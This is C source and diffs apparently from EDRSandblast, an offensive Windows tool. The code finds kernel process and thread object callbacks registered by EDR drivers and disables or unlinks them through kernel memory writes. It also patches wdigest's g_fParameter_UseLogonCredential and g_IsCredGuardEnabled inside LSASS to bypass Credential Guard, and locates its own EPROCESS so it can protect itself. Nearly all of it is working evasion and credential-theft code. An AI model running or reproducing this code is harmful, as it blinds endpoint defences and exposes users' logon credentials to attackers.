DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
TCHAR* OperationsString;
switch (Operations) {
case 1: // OB_OPERATION_HANDLE_CREATE
OperationsString = TEXT("creations");
break;
case 2: // OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("duplications");
break;
case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("creations & duplications");
break;
default:
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
if (PreOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset);
if (isDriverNameMatchingEDR(driverNamePreOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePreOperation;
cb->removed = FALSE;
cb->callback_func = PreOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
if (PostOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset);
if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
if (FoundObjectCallbacks->index != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation)
continue;
}
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePostOperation;
cb->removed = FALSE;
cb->callback_func = PostOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
}
}
return found;
}
void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE);
cb->removed = !cb->removed;
}
}
}
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE);
}
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE);
}
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE);
}
}
}
/*
* ------- CallbackList unlinking strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself
* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there
* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which
* is likely to result in a crash.
* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases.
*/
/*
* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones
* Depends only on documented symbols
*/
SIZE_T CountProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return 0;
}
SIZE_T nbCallbacks = 0;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) {
nbCallbacks++;
ObjectTypesSubjectToCallback[i].nbCallbacks++;
}
_tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name);
}
return nbCallbacks;
}
/*
* Unlink all process and thread handle callbacks (EDR related or not)
* (no critical system component should be in these list anyway)
*/
void RemoveAllProcessAndThreadObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List;
ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink));
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List);
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List);
_tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* Re-link all process and thread handle callbacks that were unlinked
*/
void RestoreAllProcessAndThreadObjectsCallbacks() {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress;
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup);
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup);
_tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* ------- CallbackList unlinking strategy END --------
*/
/*
* ------- SupportCallbacks bit strategy --------
*/
/*
* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList
* is not empty (and before listing & calling the callbacks). No callback support, no callbacks.
* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD.
*/
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
if (enable) {
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
}
else {
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
}
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
}
_putts_or_not(TEXT(""));
}
BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) {
GetAdditionnalObjectCallbackOffsets();
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
return enable;
}
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() {
BOOL enabled = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]);
}
return enabled;
}
/*
* ------- SupportCallbacks bit strategy --------
*/
+30 -29
View File
@@ -4,6 +4,7 @@
#include <tlhelp32.h>
#include <Tchar.h>
#include "../EDRSandblast.h"
#include "WdigestOffsets.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
@@ -17,14 +18,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
_putts_or_not(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)"));
return 1;
}
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
_putts_or_not(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
@@ -38,21 +39,21 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
CloseHandle(hProcessSnap);
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
_putts_or_not(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process"));
return 1;
}
// Open an handle to the LSASS process.
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
return 1;
}
HMODULE hModulesArray[512] = { 0 };
DWORD lpcbNeeded;
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
CloseHandle(hLsass);
return 1;
}
@@ -61,14 +62,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
TCHAR szModulename[MAX_PATH];
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, _countof(szModulename))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
continue;
}
if (_tcsstr(szModulename, TEXT("wdigest"))) {
MODULEINFO moduleInfo = { 0 };
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
continue;
}
@@ -84,87 +85,87 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
* Setting g_fParameter_UseLogonCredential to 0x1.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD useLogonCredentialPatch = 0x1;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != useLogonCredentialPatch) {
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == useLogonCredentialPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
_putts_or_not(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!"));
}
_tprintf(TEXT("\n\n"));
_putts_or_not(TEXT("\n"));
/*
* Setting g_IsCredGuardEnabled to 0x0.
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD isCredGuardEnabledPatch = 0x0;
currentValue = 0x0;
bytesRead = 0;
bytesWritten = 0;
DWORD oldMemoryProtection = 0x0;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_IsCredGuardEnabled at 0x%I64x\n"), credGuardEnabledAddress);
_putts_or_not(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE"));
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
break;
}
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != isCredGuardEnabledPatch) {
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == isCredGuardEnabledPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
_putts_or_not(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!"));
}
DWORD newMemoryProtection = 0x0;
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
}
else {
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
_putts_or_not(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value"));
}
_tprintf(TEXT("\n\n"));
_putts_or_not(TEXT("\n"));
returnStatus = TRUE;
+16 -21
View File
@@ -6,8 +6,10 @@
*/
#include <tchar.h>
#include "../EDRSandblast.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
#include "Undoc.h"
#include "RunAsPPL.h"
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
@@ -17,19 +19,19 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
// Open an handle to our own process.
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
if (verbose) {
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
_tprintf_or_not(TEXT("[*] [ProcessProtection] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
}
// Retrieves the native NtQuerySystemInformation function from ntdll.
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
if (!hNtdll) {
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process"));
return 0x0;
}
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process"));
return 0x0;
}
@@ -42,7 +44,7 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
if (!pHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process"));
return 0x0;
}
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
@@ -50,14 +52,14 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
SystemHandleInformationSize = SystemHandleInformationSize * 2;
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
if (!tmpHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process"));
return 0x0;
}
pHandleTableInformation = tmpHandleTableInformation;
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
}
if (!NT_SUCCESS(status)) {
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
_putts_or_not(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process"));
return 0x0;
}
@@ -71,13 +73,10 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
continue;
}
if (verbose) {
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
}
if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) {
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
returnAddress = (DWORD64)handleInfo.Object;
break;
}
}
free(pHandleTableInformation);
@@ -86,24 +85,20 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
}
int SetCurrentProcessAsProtected(BOOL verbose) {
HANDLE Device = GetDriverHandle();
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
if (processEPROCESSAddress == 0x0) {
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
CloseHandle(Device);
_putts_or_not(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect"));
return -1;
